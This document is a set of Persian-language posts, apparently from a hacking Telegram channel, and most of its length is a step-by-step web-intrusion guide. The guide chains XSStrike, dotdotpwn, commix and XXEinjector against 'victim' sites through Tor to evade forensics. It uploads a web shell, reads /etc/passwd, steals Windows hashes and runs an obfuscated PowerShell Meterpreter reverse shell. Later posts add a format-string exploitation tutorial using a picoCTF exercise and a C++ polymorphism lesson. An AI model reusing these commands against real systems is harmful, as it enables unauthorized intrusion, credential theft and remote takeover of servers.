خوب وجود داره که من روش استفاده اون رو خدمت شما عرض میکنم Tools برای این بحث هم یک

که در XSStrike بسیار خوب دیگه ای رو هم بهتون معرفی میکنم با نام Tools یک XSS اما در خصوص آسیب پذیری واقعا ابزار خوبی هست من مراحل نصب و طریقه استفاده رو کوتاه عرض میکنم XSS حوزه تست آسیب پذیری
خدمت شما عزیزان

Install XSStrike
20.`proxychains git clone https://github.com/s0md3v/XSStrike.git;cd XSStrike;chmod 755 *;proxychains pip3 install -r requirements.txt;proxychains python3 xsstrike.py` # Config for tor proxy
21.`sed -i -e "s#proxies = {'http': 'http://0.0.0.0:8080', 'https': 'http://0.0.0.0:8080'}#proxies = {'http': 'http://127.0.0.1:9050', 'https': 'http://127.0.0.1:9050'}#g" core/config.py` **GET**
22.`python3 xsstrike.py -u "http://`(Website)`/tags/search.php?q=query" --crawl -l 3 --params --blind --fuzzer --proxy` **POST**
22.`python3 xsstrike.py -u "http://`(Website)`/search.php" --data "q=query" --crawl -l 3 --params --blind --fuzzer --proxy` **POST-JSON**
22.`python3 xsstrike.py -u "http://`(Website)`/search.php" --data '{"q":"query"} --json --crawl -l 3 --params --blind --fuzzer --proxy`
21 برنامه رو بر روی پورت proxy tor تنظیمات config خب ما در اینجا در خط 20 اقدام به نصب برنامه کردیم و در خط تنظیم کردیم و در خط های 22 مدل های مختلف روش های ارسال داده به قربانی رو تشریح کردیم که مشخصه Json که ما به روشی که مشاهده میکنید میتونیم بر روی پارامتر های صفحاتی که با JSON توضیح نمیدم الی خودشون رو API طراحی شدن رو هم تست آسیب پذیری کنیم یک نکته بگم که بسیاری از شبکه های اجتماعی ها کمی switch طراحی کرده اند این روش خوبی برای تست نفوذ اون ها هستش , اما در خصوص Json بر بستر تنظیم شده level 3 هستش که بر روی carwl که در سه روش ارسال داده استفاده کردیم switch توضیح بدم اولین های مرتبط داده شده به صفحه مورد link کردن و جستجو در خصوص crawl به این معنی که با نهایت قدرت بحث نظر جستجو کن تا با استفاده از لینک های معرفی شده ما صفحات جدید رو پیدا و اون هارو هم مورد تست آسیب رو بر روی تست parameter هست به این معنی که هرگونه params بعدی دستور switch پذیری قرار بدیم اما در خصوص این هستش که ما blind مخفی شده رو پیدا کن , ایتم بعدی یعنی parameter آسیب پذیری قرار بده و تست پارامتر ها و صفحاتی که در اثر خزیدن برنامه در اون ها پیدا میشه هم عملیات تست نفوذ رو انجام بده, ایتم ها هست WAF که در خصوص شناسایی Request یک بار یک sec هستش که کارش اینه هر fuzzer 30 بعدی Proxy کردن Use هارو بروز و بشما اعلام کنه اما گزینه آخرم که مشخصه چیه برای WAF ارسال میکنه تا وضعیت تنظیم کرده بویم tor هست که ما بر روی پورت

Directory Traversal

GET
23.`dotdotpwn -M GET -m http-url -h` (TARGET) `-x 443 -O -s -u https://`(Website)`/Detail.aspx?ItemID=TRAVERSAL -k WINDOWS -b -q` **POST**
23.`dotdotpwn -M POST -m http-url -h` (TARGET) `-x 443 -O -s -u https://`(Website)`/Detail.php?ItemID=TRAVERSAL -k unix -b -q` در Switch WINDOWS در دستور بالا دیده میشه تست آسیب TRAVERSAL خصوص مشخص کردن سیستم سرور قربانی هستش در قسمتی که کلمه رو قرار میدیم, اما در خصوص Web Application ما پورت پروتکل مربوط به Switch -x پذیری انجام خواهد شد و در یا http باشه تا tftp باید عرض کنم که تعیین کننده نوع تست بر بستر کدام پروتکل هستش میتونه از Switch -m

تعیین کننده سیستم عامل سرور قربانی هستش که حتما باید تعیین بشه چرا که در پایلود http-url, اما switch -k انجام commix که با ابزار Command Injection ریزی تاثیر خواهد داشت, اما بریم سراغ تست نفوذ آسیب پذیری خواهیم داد دقت کنید

Command Injection

GET

24.`commix -u "`(Website)`/Default.aspx?tabid=36&ctl=Privacy" -p ctl --level=3 -v 4 --mobile --tor --tor-port=9050 --os=Windows --tamper=multiplespaces --batch --all` **POST**

24.`commix -u "`(Website)`/user/" --data=``"target_host=INJECT_HERE" --level=3 -v 4 --mobile --tor --tor-port=9050 --os=Unix --tamper=multiplespaces --batch --all` **Upload Shell**

Generating Shell

25.`webacoo -g -o ######.php` # Writing Shell

26.`commix -u "`(Website)`/Default.aspx?tabid=36&ctl=Privacy" -p ctl --level=3 -v 4 --mobile --tor --tor-port=9050 --os=Windows --tamper=multiplespaces --batch --all --file-write="/root/######.php" --file-dest="/var/www/html/######.php" --os-cmd="php -f /var/www/html/######.php"` # Connect Shell

27.`webacoo -t -u` (Website)`/######.php` **Read /etc/passwd (Linux)**

28.`commix -u "(Website)/Default.aspx?tabid=36&ctl=Privacy" -p ItemID --level=3 -v 4 --mobile --tor --tor-port=9050 --os=Unix --tamper=multiplespaces --batch --all --os-cmd="cat ~/etc/passwd"` **OOB Meterpreter (Windows)**

29.`cd unicorn;python unicorn.py windows/meterpreter/reverse_tcp (NoIP) 4141;cat powershell_attack.txt` powershell /w 1 /C "s''v mTG -;s''v my e''c;s''v Hb ((g''v mTG).value.toString()+(g''v my).value.toString());powershell (g''v Hb).value.toString() ('JABGAFkAPQAnACQAWQB...AbgBvAGUAIgA=')"

Copy (OBF Payload)

Listing Msfconsole

30.`msfconsole -q -r unicorn.rc` 31.`gnome-terminal --tab -e 'commix -u "`(Website)`/Default.aspx?tabid=36&ctl=Privacy" -p ItemID --level=3 -v 4 --mobile --tor --tor-port=9050 --os=Windows --tamper=multiplespaces --batch --all --cmd="`(OBF Payload)`"'` .

هست با کمی تفاوت که من به این تفاوت ها میپردازم, اولین تفاوت اینه sqlmap هم شبیه به commix خب ابزار که شما میبایست حتما سیستم عامل سرور وبسایت قربانی رو به برنامه معرفی کنید چرا که نوع پایلود ها به این نکته بعدی اینه که ما در این سبک تست نفوذ میتونیم Directory Traversal موضوع وابسته هست مثل تست نفوذ برنامه این امکان رو داره Automation ها استفاده و به برنامه معرفی کنیم اما بصورت Encoding از Custom بصورت ما switch —all ها هستن, در tamper اسکریپت هایی در این خصوص داشته باشه منظورم Sqlmap که مانند دستور میدیم که پایلود ها در خصوص انجام کارهای زیر پیش بروند

`--all Retrieve everything. --current-user Retrieve current user name. --hostname Retrieve current hostname. --is-root Check if the current user have root privileges. --is-admin Check if the current user have admin privileges. --sys-info Retrieve system information. --users Retrieve system users. --passwords Retrieve system users password hashes. --privileges Retrieve system users privileges. --ps-version Retrieve PowerShell's version number.` # Tamper Script

29.`ls /usr/share/commix/src/core/tamper` backslashes.py dollaratsigns.py multiplespaces.py sleep2timeout.py space2ifs.py xforwardedfor.py
base64encode.py hexencode.py nested.py sleep2usleep.py space2plus.py
caret.py init.py singlequotes.py space2htab.py space2vtab.py

وجود داره که Command Injection های payload خوبی در خصوص مبهم سازی Script همونطور که میبینید شبکه IP ها کمک خوبی میتونه بکنه همچنین دقت کنید که تمامی فعالیت های ما بر بستر WAF در بحث دور زدن Xml External شدن محفوظ نگه میداره, اما بریم سراغ آسیب پذیری Forensic هستش که این مورد مارو از خطر Tor که ما روند نصب و استفاده رو بیان میکنیم دقت کنید XXEInjector ابزاری در این خصوص وجود داره با نام Entity

XML External Entity

30.`cd ;proxychains git clone https://github.com/enjoiz/XXEinjector.git;cd XXEinjector;chmod 755 *` # Show Header Request on URI webpage
31.`proxychains curl -I https://`(Website)`/xml_injectable.php` POST /xml_injectable.php HTTP/1.1
Host: 192.168.242.139
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

<creds>
<user>blah</user>
<pass>mypass</pass>
</creds>

Copy (Request)

32.`nano req.txt` Paste (Request)

```
POST /xml_injectable.php HTTP/1.1 Host: 192.168.242.139 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
```

XXEINJECT

`<creds> <user>blah</user> <pass>mypass</pass> </creds>` Save & Close

Read /etc/passwd (Linux)

33.`ruby XXEinjector.rb --host=`(TARGET) `--path=/etc/passwd --file=/root/req.txt --proxy=127.0.0.1:9050 --oob=http --verbose --phpfilter` **Stealing Windows hashes (Windows)**
34.`ruby XXEinjector.rb --host=`(TARGET) `--file=/root/req.txt --proxy=127.0.0.1:9050 --oob=http`

`--verbose --phpfilter --hashes` **RCE using PHP expect**
35.`ruby XXEinjector.rb --host=`(TARGET) `--file=/root/req.txt --oob=http --verbose --phpfilter --expect=ls` **Testing for XSLT injection**
36.`ruby XXEinjector.rb --host=`(TARGET) `--file=/root/req.txt --oob=http --verbose --phpfilter --xslt` **Enumerating unfiltered ports**
37.`ruby XXEinjector.rb --host=`(TARGET) `--file=/root/req.txt --oob=http --verbose --phpfilter --enumports=all` .

به قربانی ارسال میکنیم و نوع داده Request خب ما در خط 30 ابزار مربوطه رو دانلود کردیم و در خط 31 ما یک XML ذخیره کردیم و در txt رو در این Curl ارسالی به دست Request رو به دست میاوریم و محتوای URI اون Data رو میگذاریم مثل خط 32 مشاهده میکنید XXEINJECT قسمتی که میخوایم تست آسیب پذیری صورت بگیره کلمه ذخیره شده حالا ما در خط 33 یک تست خواندن فایل req.txt اما بعد از ساخت و محتوای این تکست که با نام هستش که در file— اول که switch میکنیم بر روی سیستم سرور های لینوکسی هستش که در /etc/passwd معرفی میکنیم به برنامه اما switch هست که ما ذخیره کرده بودیم اینجا با این Request خصوص معرفی switch مامور میشود که Request های ارسالی ما محتوای Request بزنیم یعنی در out of band دوم اینه که ما میخواهیم هارو میتونه WAF دریافت کند اینکار در خصوص دور زدن برخی محدودیت ها و Base64 دریافتی رو بصورت Response قرار دادیم http تعیین میکنیم که باید مشخص بشه که ما Response دور بزنه اما پروتکلی که ما برای دریافت OOB های دریافتی با تمام جزئیات دریافت Response های ارسالی و Request برای اینه که شما اما switch —verbose کنیم نه Encode رو Request در خصوص اینه که ما اینبار phpfilter— بعدی یعنی switch و مشاهده کنید اما هستش, اما دستورات بعدی که من آخر هر IPS/IDS رو و اینکار هم برای دور زدن محدودیت های Response سربرگ اضافه کردم در خصوص انجام ماموریت همون موضوع سربرگ بوده است...

هست استفاده ###### های مختلف قربانی ما میتونیم از اسکریپتی که محصول DNS اما در خصوص پیدا کردن قربانی که میتونه هم دامنه های دیگر قربانی رو استخراج کنه هم میتونه دامنه DNS کردن Bruteforce کنیم برای ها برای دفاع از سرور استفاده میکنند که نزدیک به اسم اصلی وبسایت هست رو پیدا کنه مثال CDN ای که:

`ashiyane.org -> ashi3ne.org` این یک نمونه از DNS مخفی شده اصلی وبسایت هست که Cloudflare انجام هارو ما از اسکریپت زیر استفاده میکنیم DNS داده بود در خصوص پیدایش این مدل

DNS Bruteforce

Character URI Bruteforce
38.`nano dns-bruter.rb` Added

```
#!/usr/bin/env ruby # https:/t.me/###### def result?(sub) puts sub 1 == 2 end def crack_yielding(chars) crack_yield(chars){ |p| return p if result?(p) } end def crack_yield(chars) chars.each { |c| yield c } crack_yield(chars) { |c| chars.each do |x| yield c + x end } end chars = ('a'..'z').to_a (0..9).each {|x| chars << x.to_s} crack_yielding(chars)
```

Ctrl+x > y > Enter
39.`chmod +x dns-bruter.rb` 40.`proxychains ruby dns-bruter.rb | parallel -j100 dig +noall {}.`(Website) `+answer` # Example
40.`ruby dns-bruter.rb | parallel -j100 dig +noall {}.iran-cyber.net +answer` خب ما در اینجا با که اسکریپت داره پایلود ارسال میکنه رو انجام میدیم که من Response برای گرفتن parallel استفاده از خط فرمان

های یک وبسایت هم من Directory کردن Bruteforce یک مثال هم زدم که کامل جا بیوفته موضوع, اما در خصوص هایی که در این کار مورد های خوبی هستند رو معرفی و دستورات رو شرح میدم Tools

Directory Bruteforce

41.`dirb https://`(Website)`/index.php -p socks4://127.0.0.1:9050 -f` رو بصورت Directory در اینجا لیست خاص دیگه ای هم نداره اما بریم switch رو لحاظ میکنه و Medium خود برنامه برای خودش حالت Automation سراغ یک ابزار خوب در این حوزه ببینیم اون چطور عمل میکنه

42.`proxychains dirbuster -H -v -u https://`(Website)`/index/ -e aspx -l /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -r /root/DirBuster-Report;cat /root/DirBuster-Report.txt` در اینجا خب ما در switch اول که -H نه هست دستور خط فرمانی کار انجام بشه نشون میده که ما صفحات switch -e جزئیات ارسال و دریافت پایلود رو انجام بدیم اما switch -v در GUI به صورت هستش که ما -l بعدی, switch طراحی شده است ASP قربانی بر بستر CMS قرار هست پیدا بشه چرا که aspx هستش -r بعدی switch , کنه رو هم معرفی میکنیم Bruteforce که قراره list directory به ابزار معرفی میکنیم که ذخیره شده رو log محتوای cat و آخر سر با دستور Bruteforce که ما آدرس و اسمی میدیم برای ذخیره نتیجه این به نمایش در خواهیم آورد

خب ما روش ها و تکنیک های دیگه ای هم داریم که واقعا در این پست دیگه نمی گنجه ذکر بشه و انشالا در قسمت دوم همین موضوع پست ما ادامه روش هارو معرفی خواهیم کرد به شرط حیات,

...مطالب رو کپی نکنید مگر با ذکر منبع ممنون لطفا#
#MasterMind Group
با سلام در این پست در خصوص مشارکت مردمی در امر نشر اطلاعات علوم امنیت سایبری میخوام کمی صحبت کنیم و از جهش تیم ###### که در این علوم استعداد دارند امکانی رو در خصوص دیده شدن نخبه های کشور, برای دیده شدن آنها فراهم کنیم...
ما متوجه این موضوع شدیم که از ######, بعد از شنیدن نکات برخی افراد در خصوص نشر پست آنها در کانال یک پتانسیل مردمی غافل هستیم که میتونست هم در جهت دیده شدن افراد موثر باشه هم در جهت کمک به دیگران برای بهتر درک کردن این موضوع اول چند نکته رو بیان میکنم و بعد در خصوص پتانسیل مد نظر توضیح خواهم داد,

اولین نکته اینه که برخی ها گله دارند از اینکه سطح مطالب کانال براشون سنگین هست که البته این نکته رو عرض کنم که حمل بر خود ستایی و برداشت اشتباه نشه,

دومین نکته هم موضوع مشارکت مردمی و افراد علاقمند هست یعنی ما در خصوص افراد علاقمند در علوم سایبری دو قشر شخصت داریم یک اینکه افرادی ابراز علاقه میکنند اما در عمل هیچ تحرکی ندارند به قول معروف تو خالی هستند و اما قشر دوم کسانی هستند که استعداد و پشتکار خوبی دارند اما امکان دیده شدن آنها برای فعالین حوزه سایبری وجود ندارد,

خب این پتانسیل که ما در این کانال از افرادی که محقق هستند دعوت میکنیم که اون ها هم تحقیقات و دست آورد های خودشون رو بر روی این کانال انتشار دهند تا هم دیگران استعداد اونهارو شناسایی کنند و هم افراد سطح اما در این خصوص چطور میتونید مشارکت کنید؟؟؟ ,پایین تر از این اطلاعات استفاده کنند

پست تحقیقاتی خودش رو ######@هر فردی با ذکر آیدی تلگرامی خودش میتونه برای ربات ما یعنی این ربات

ارسال کنه ادمین ربات بعد از بررسی ایرادات احتمالی پست اون رو با آیدی فرد ارسالی بر روی کانال انتشار خواهد داد, سطح پست در چهارچوب موضوعی این نقشه راه میبایست باشه

و مهم نیست سطح بالا باشه و یا پایین چراکه در هر دو صورت به درد افرادی خواهد خورد, با اینکار افراد نخبه از افراد پخمه میتوانند جدا باشند و فعالین حوزه سایبری این نخبه هارا شناسایی کنند,اما یکی دو نکته در خصوص فرم پست ها,

اول اینه که محدودیت کلماتی تا 5 برگ پست تلگرامی هستش, نکته بعدی انشالا تا آخر امسال گلچین پست های برتر رو در سایت exploit-db هم در این پست ها ###### به ثبت خواهیم رساند و نکته آخر اینکه اعضای تیم Sign Message شرکت خواهند کرد اما آیدی و یا از اونها انتشار داده نخواهد شد پس اگر پستی در کانال مشاهده میباش اگر سوال در این خصوص این ###### کردید که نام نویسنده نداشت به معنی این است که متعلق به پست داشتید میتونید در گروه عمومی ما مطرح کنید...

#Blackhat #Roadmap
نقشه راه امنیت سایبری و مراحل تکامل یک شخص برای رسیدن به جایگاه مهندسی امنیت که قدرت نفوذ به انواع دیوایس ها و دور زدن مکانیزم های...
#Uncontrolled format string
C فرمت بندی رشته چیزی است که هر برنامه نویسی با آن آشنایی دارد بخصوص آنهایی که برنامه نویس باشند. ولی آیا استفاده کورکورانه از این قابلیت می تواند باعث رخداد آسیب پذیری شود...

#Author: @l1ck3r0x01

.در آغاز کار یادآوری در این زمینه داشته باشیم
فرمت بندی در اکثر زبان های برنامه نویسی وجود دارد که متغیر های داخل برنامه و متغیر های گرفته شده از کاربر را به شیوه ای به هم متصل می کند که قابل فهم و درک برای انسان باشد.

برای اینکار به یک تابع نیاز داریم که به آن تابع فرمت بندی می گوییم و کار آن این است که متغیر ها را به رشته ی C در زبان printf قابل درک توسط پارامتر های قالب بندی، تبدیل کند. مانند تابع

پارامتر های قالب بندی به کارکتر های گفته می شود که با % آغاز می شوند و نوع خروجی متغیر را در تابع فرمت بندی مشخص می کنند مانند:

%s , %x C در زبان

:نحوه کارکرد این دو
برای طولانی نشدن پست فرض را بر این می گذاریم که شما آن را بلد هستید!(متخصص امنیت باید برنامه نویس باشد.)
:تحلیل حمله و خطرات آن
مشکل اصلی در درست ارزیابی نکردن ورودی که کاربر وارد می کند است. کاربر همراه یک رشته چند پارامتر قالب توابعی مانند (یک سرور، برنامه کاربردی و... باشد apiکه می تواند یک سایت،) بندی هم به برنامه ارسال می کند printf در موقع مواجه شدن با چنین رشته هایی آن ها را تجزیه و بخش های دارای پارامتر قالب را برای خودشان مشخص می کنند به این ترتیب تابع انتظار دارد متغیر های بیشتری در اختیار او قرار بگیرد ! و اگر متغیری ارائه نشده

باشد تابع می تواند پشته را بخواند و یا بنویسد !
بنابر این مهاجم می تواند یک ورودی که به خوبی سازمان دهی شده است را وارد کند و رفتار تابع قالب بندی را تغییر دهد که باعث حملات رد سرویس(dos) و اجرای کد در حافظه شود !

توابع در معرض خطر :
توابع fprint,printf,sprintf,cnprintf,vfprintf,vprintf,vsprint,vsnprint همگی در معرض این آسیب پذیری قرار دارند.

برای جزئیات)پارامتر های قالب بندی که معمولا توسط مهاجمین به کار برده می شوند شامل لیست زیر می شوند (تابع مراجعه کنید man page بیشتر به :
x% ==> خواندن اطلاعات از پشته
s% ==> خواندن کاراکتر های رشته از حافظه پروسس
n% ==> نوشتن یک عدد صحیح در مکان هایی از حافظه پروسس
مثال اول:

```
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { char buf[100]; snprintf(buf, sizeof bug, argv[1]); buf [sizeof buf -1] = 0; printf("\nBuffer size is : (%d)\nData input : %s\n",strlen(buf),buf); // vulnerble code }
```

برنامه را کامپایل و رشته siamak عادی را به برنامه می دهیم خروجی به این شکل خواهد بود :

```
root@kali:~/# gcc vuln.c -o vuln root@kali:~/# ./vuln "siamak" Buffer size is : (6) Data input : siamak
```

اما وقتی که کمی شیطنت به خرج دهیم :)

```
root@kali:~/# ./vuln "siamak %x %x" Buffer size is : (24) Data input : siamak c860e718 c860fd80
```

شدیم memory همانطور که می بینید موفق به خواندن !
چطور این اتفاق افتاد ؟ خب چون ورودی ما فیلتر نشده است به صورت زیر در تابع قرار میگیرد :

```
printf("Buffer size is : (%d)\nData input : %s %x %x\n",strlen(buf),buf)
```

همانطور که در بالا هم به آن اشاره کردم تابع فرمت بندی با تجزیه رشته، ۴ پارامتر قالب پیدا می کند در حالی ۲ متغیر برای تابع در دسترس است برای ۲ متغیر دیگر باید از حافظه برنامه اطلاعات بخواند که این کار را هم می کند.

مثالی دیگر(dos) :
اگر برنامه نویس هیچ پارامتر قالب بندی در تابع استفاده نکرده باشد و به صورت ساده به چاپ رشته پرداخته باشد

```
printf(userName)
```

به صورت رشته طولانی از پارامتر های قالب پر شود(یعنی userName در این حالت اگر متغیر آدرسی غیر معتبر درخواست شود) برنامه متوقف می شود و از کار می افتد. (Boowwaa :o)

```
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
```

راه حل معمول برای جلوگیری از این حمله جایگزین کردن % با %% است که این کافی نمی باشد !
شما همچنین می توانید کارکتر % را حذف کنید ...

اگر از آن دسته از افراد هستید که تمرین را دوست دارید می توانید این برنامه رو دانلود و یک فایل به اسم flag.txt درست کنید و سعی کنید از حافظه برنامه فایل را بخوانید (فایل در حافظه برنامه وجود خواهد داشت. سورس برنامه . با تشکر از picoCTF

برنامه ==> https://2018shell.picoctf.com/static/ef78275d00e7ab2809e43a6aa9563317/echo

سورس ==> https://2018shell.picoctf.com/static/ef78275d00e7ab2809e43a6aa9563317/echo.c

#Author: @l1ck3r0x01

https://www.owasp.org/index.php/Format_string_attack
https://en.wikipedia.org/wiki/Uncontrolled_format_string
http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
https://www.picoCTF.com
#Polymorphism C++
قراره مطلبی رو به انتشار بزارم و از اونجا که این مفهوم کمی نیاز Polymorphism در این پست در خصوص مفهوم به درک برخی مباحث پیشنیازی داره تلاش کردم که بصورت کامل و واضح مطلبم رو ارائه بدم البته در خصوص نقش این مفهوم در مبهم سازی پایلود ها فعلا صحبتی نخواهم کرد و انشاالله در آینده به این دست تکنیک های یک پایلود خواهم پرداخت, در همین حد برای عزیزانی که شاید مطلع Signature سوءاستفاده در مبهم سازی شناخته شده از همین مفهوم shikata_ga_nai که با نام Metasploit های معروف Encoder نباشند بگم که یکی از پایلود ها استفاده کرده است Signature برای ساخت...

https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb
صحبت کنم میبایست در خصوص برخی مفاهیم و تکنیک Polymorphism خب قبل از اینکه من در خصوص مفهوم C++ هست نکاتی رو عرض کنم, اولین نکته اینکه در زبان Polymorphism های دیگری که پیش نیاز مفهموم که با استفاده از ارتباط بین کلاس فرزند و کلاس والد میشه پیاده Override function تکنیکی وجود داره به نام سازیش کرد مثالی میزنم:

```
#include <iostream> #include <string> using namespace std; class person { protected: int a; public: void print() { cout << "Person" << endl; } }; class student :public person { private: int b; public: void print() { cout << "Student" << endl; } }; int main() { student x; x.print(); return 0; }
```

person که کلاس student و person در اینجا ما دو کلاس تعریف کردیم با نام های ساخته شده, اما نکته person کلاس فرزندی هست که از روی کلاس student کلاس والد یا پدر هست و کلاس هر دوی Access Specifier که print قابل توجه هر دو این کلاس ها اینه که هر دو تابعی درونشون تعریف شده با نام نگاهی کنید main هست و مقداری رو برای چاپ درون خودشون دارند خب حال اگر به تابع public اونها از نوع print ما اومدیم و تابع Object که از طریق همین x ساخته شده با نام Object یک student میبینید که از روی کلاس اول میاد Compiler اجرا خواهد شد دلیل این موضوع اینه که Student رو صدا زدیم و اگر اون رو اجرا کنیم مقدار میشه و تابع student اون رو اجرا میکنه و بعد که وارد کلاس فرزند یعنی print کلاس والد رو در نظر میگیره و تابع print میکنه و اینطور write اون رو هم اجرا میکنه تابع کلاس فرزند مقدار خودش رو بر روی مقدار قبلی اجرا شده هستش اکی بریم برای نکته بعدی print برمیگرده اینکار به معنی باز نویسی تابع Student میشه که خروجی مقدار

نکته بعدی اینه که ما میتونیم دستوراتی رو در کلاس فرزند وارد کنیم تا از طریق اون ها توابع کلاس والد رو ویرایش کنیم اما چطور اینکار شدنیست؟ برای درک این موضوع کلاس فرزند رو به شکل زیر ویرایش کنید

```
class student :public person { private: int b; public: void print() { person::print(); cout << "Student" << endl; } };
```

رو صدا زدیم اینجا print تابع person در اینجا ما با استفاده از کلاس والد که میشود رو اجرا و person کلاس print باز نویسی بشه ما یک بار اول تابع print زمانی که برنامه اجرا میشه قبل از اینکه تابع print میکنیم تابع Override چاپ میکنیم و بعد از اون تابعی که چاپ شده به همون روش قبلی که بالا عرض کردم

کلاس های فرزند رو, در نتیجه مقدار دومی که به چاپ میرسه مقداری هست که در توابع فرزند تعریف شده,

یک public یک تابع رو دور بزنیم و از اون تابع بصورت protected خب حالا ما نیاز داریم که یاد بگیریم چگونه حالت ساخته و استفاده کنیم باز هم برای درک صحیح این موضوع مثالی براتون میزنم Object:

```
#include <iostream> #include <string> using namespace std; class person { protected: int a; void print() { cout << "Person" << endl; } }; class student :public person { private: int b; public: using person::print; }; int main() { student x; x.print(); return 0; }
```

خب ما در اینجا خودش رو با حالت دسترسی print تابع person اگر دقت کنید باز هم مثل قبل دوتا کلاس داریم که کلاس تعریف کرده این به این معنیه که ما فقط میتونیم از طریق کلاس های فرزند ساخته شده از روی کلاس protected رو با print تابع Access Specifier استفاده کنیم, حالا من تکنیکی رو استفاده کردم که حالت print از تابع person که در کلاس والد که با نام print هست تابع student ما میتونیم در کلاس فرزند که using استفاده از دستور کلاس print ساخته و تابع Object یک main در آورده و از روی کلاس فرزند در تابع public تعریف شده رو بصورت رو دور بزنیم, اکی بریم نکته بعدی protected رو صدا کنیم و بدین ترتیب سطح دسترسی person

ها هستش که چگونه ما بتونیم Pointer موضوع ارث بری و Polymorphism و اما حساس ترین نکته پیش از مفهوم تعریف کرده و توابع مورد نیاز رو صدا کنیم مثالی میزنم Pointer از روی کلاس های فرزند و یا والد:

```
#include <iostream> #include <string> using namespace std; class person { protected: int a; public: void print() { cout << "Person" << endl; } }; class student :public person { private: int b; public: void print() { cout << "Student" << endl; } }; int main() { person a; student b; person *pa = &b; pa->print(); return 0; }
```

.

main صحبت خواهیم کرد, اولین نکته اینه که ما اگر به تابع Polymorphism خب ما در این مثال در خصوص مفهوم Pointer یک person ساختیم و در ادامه از کلاس student و person از کلاس های Object دقت کنید میبینید که دو هست اشاره میکند, اما person که کلاس فرزند student که از کلاس Object b که به مکان pa* تعریف کردیم با نام میکنیم, خب حالا سوال اینه که print ساخته شده اشاره ای به فراخوانی تابع Pointer در ادامه ما با استفاده از جواب اجرا شدن ?student یا تابع همنام کلاس person کلاس print کدام تابع همنام صدا زده خواهد شد ؟ آیا تابع رو مساوی با مکان pa* تعریف شده هستش, یعنی با این حال که ما تابع person کلاس والا که با نام print تابع صدا زده شده است دلیل این موضوع اینه که person کلاس print قرار دادیم باز هم تابع student کلاس Object ساخته شده است و همواره به توابع کلاس person از روی کلاس pa* ساخته شده ما یعنی Pointer توابع همنام person اشاره دارد حالا اگر ما بخواهیم از کلاس فرزند تابعی رو فراخوانی کنیم میبایست در کلاس در آوریم به کد زیر دقت کنید virtual رو به حالت student کلاس:

```
class person { protected: int a; public: virtual void print() { cout << "Person" << endl; } };
```

در اینجا تابع کلاس والد رو ما به تابع مجازی تبدیل کردیم و در این حالت اگر دوباره برنامه رو اجرا کنیم میبینیم که کلاس فرزند اجرا خواهد شد, به این سبک عملیات هایی که فرایند فراخوانی تابعی از یک کلاس با print اینبار تابع یا چند ریختی گفته میشود یعنی اینکه ما میتوانیم Polymorphism که اون رو فراخوانی کرده Object استفاده از چندین تابع همنام در کلاس های والد و فرزند داشته باشیم اما اینکه کدام تابع در هنگام فراخوانی صدا زده میشود ما میتوانیم تابع همنام در کلاس والد رو Polymorphism دارد که آن را صدا میزند در واقع با تکنیک Object بستگی به انجام شده و تابع override کرده به واسطه توابع همنامی که در کلاس های فرزند آن وجود دارد این override ساخته شده هستش من یک مثال Object کلاس فرزند مد نظر قرار بگیره که البته اینکار بستگی به نوع ساختار کامل در این خصوص میزنم تا کاملا این مفهوم جا بیوفته براتون

```
#include <iostream> #include <string> using namespace std; class person { protected: string name; person(string n) : name(n) {} public: string getName() { return name; } virtual string location() { return "????"; } }; class student :public person { public: student(string m):person(m) {} string location() { return "######"; } }; class employee :public person { public: employee(string m) :person(m) {} string location() { return "Others"; } }; void report(person &x) { std::cout << x.getName() << " Is In The " << x.location() << endl; } int main() { student a("Docky"), b("Mostafa"), c("Silver"); employee d("Farhad"), e("r00t98"); person *f[] = { &a,&b,&c,&d,&e }; for (int i = 0; i < 5; i++) { cout << f[i]->getName() << " Is In The " << f[i]->location() << endl; } return 0; }
```
.

رو به نمایش بگزاریم, خب در اینجا ما سه کلاس تعریف Polymorphism خب ما در این مثال سعی کردیم که کاربرد و student هستند که با نام هایperson هستش و دو کلاس بعدی فرزند کلاس person کردیم که کلاس اول با نام که report صورت گرفته خب اگر دقت کنید میبینیم که یک تابع جدا از کلاس ها هم تعریف شده با نام employee portected بصورت person در کلاس name اشاره داره از اونجا که متغیر person به ورودی کلاس refrence بصورت refrence تعریف شده یعنی فقط کلاس های فرزند میتوانند این متغیر رو مقدار دهی کنند من با استفاده از تکنیک تونستم از یک تابع بیرونی بر روی این متغیر مقدار بریزم, اکی اما نکته بعدی این کد کجاس؟ آنجا که در هر سه ما person میکنه همراه با ورودی, اما در کلاس return تعریف کردیم که یک مقدار رو location کلاس تابعی با نام Object که خود ورودی ارسالی رو برمیگردانه اکی حالا اگر ما در اینجا سه getName یک تابع دیگری هم داریم با نام خواهد شده است, مقدار Object که روی هم employee 5 هم از کلاس Object ساختیم و دو student از کلاس ها اختصاص دادیم که قرار است وارد توابع کلاس شده و همراه با مقدار تابع برگشته و چاپ Object z رو به String از person کلاس location ها بر روی کدام کلاس خواهند رفت؟ اگر دقت کنید تابع Object شود اما نکته اینجاس که در کلاس های خودشون خواهند شد اما location ها وارد تابع همنام Object هستش پس مقدار ورودی virtual نوع person صدق نمیکند و زمانی که از طریق تابع های کلاس مقداری به کلاس getName این موضوع در خصوص تابع ها چاپ خواهد شد Object name مقدار return شده و عملیات برگشت یا همان getName ارسال میشه وارد تابع,

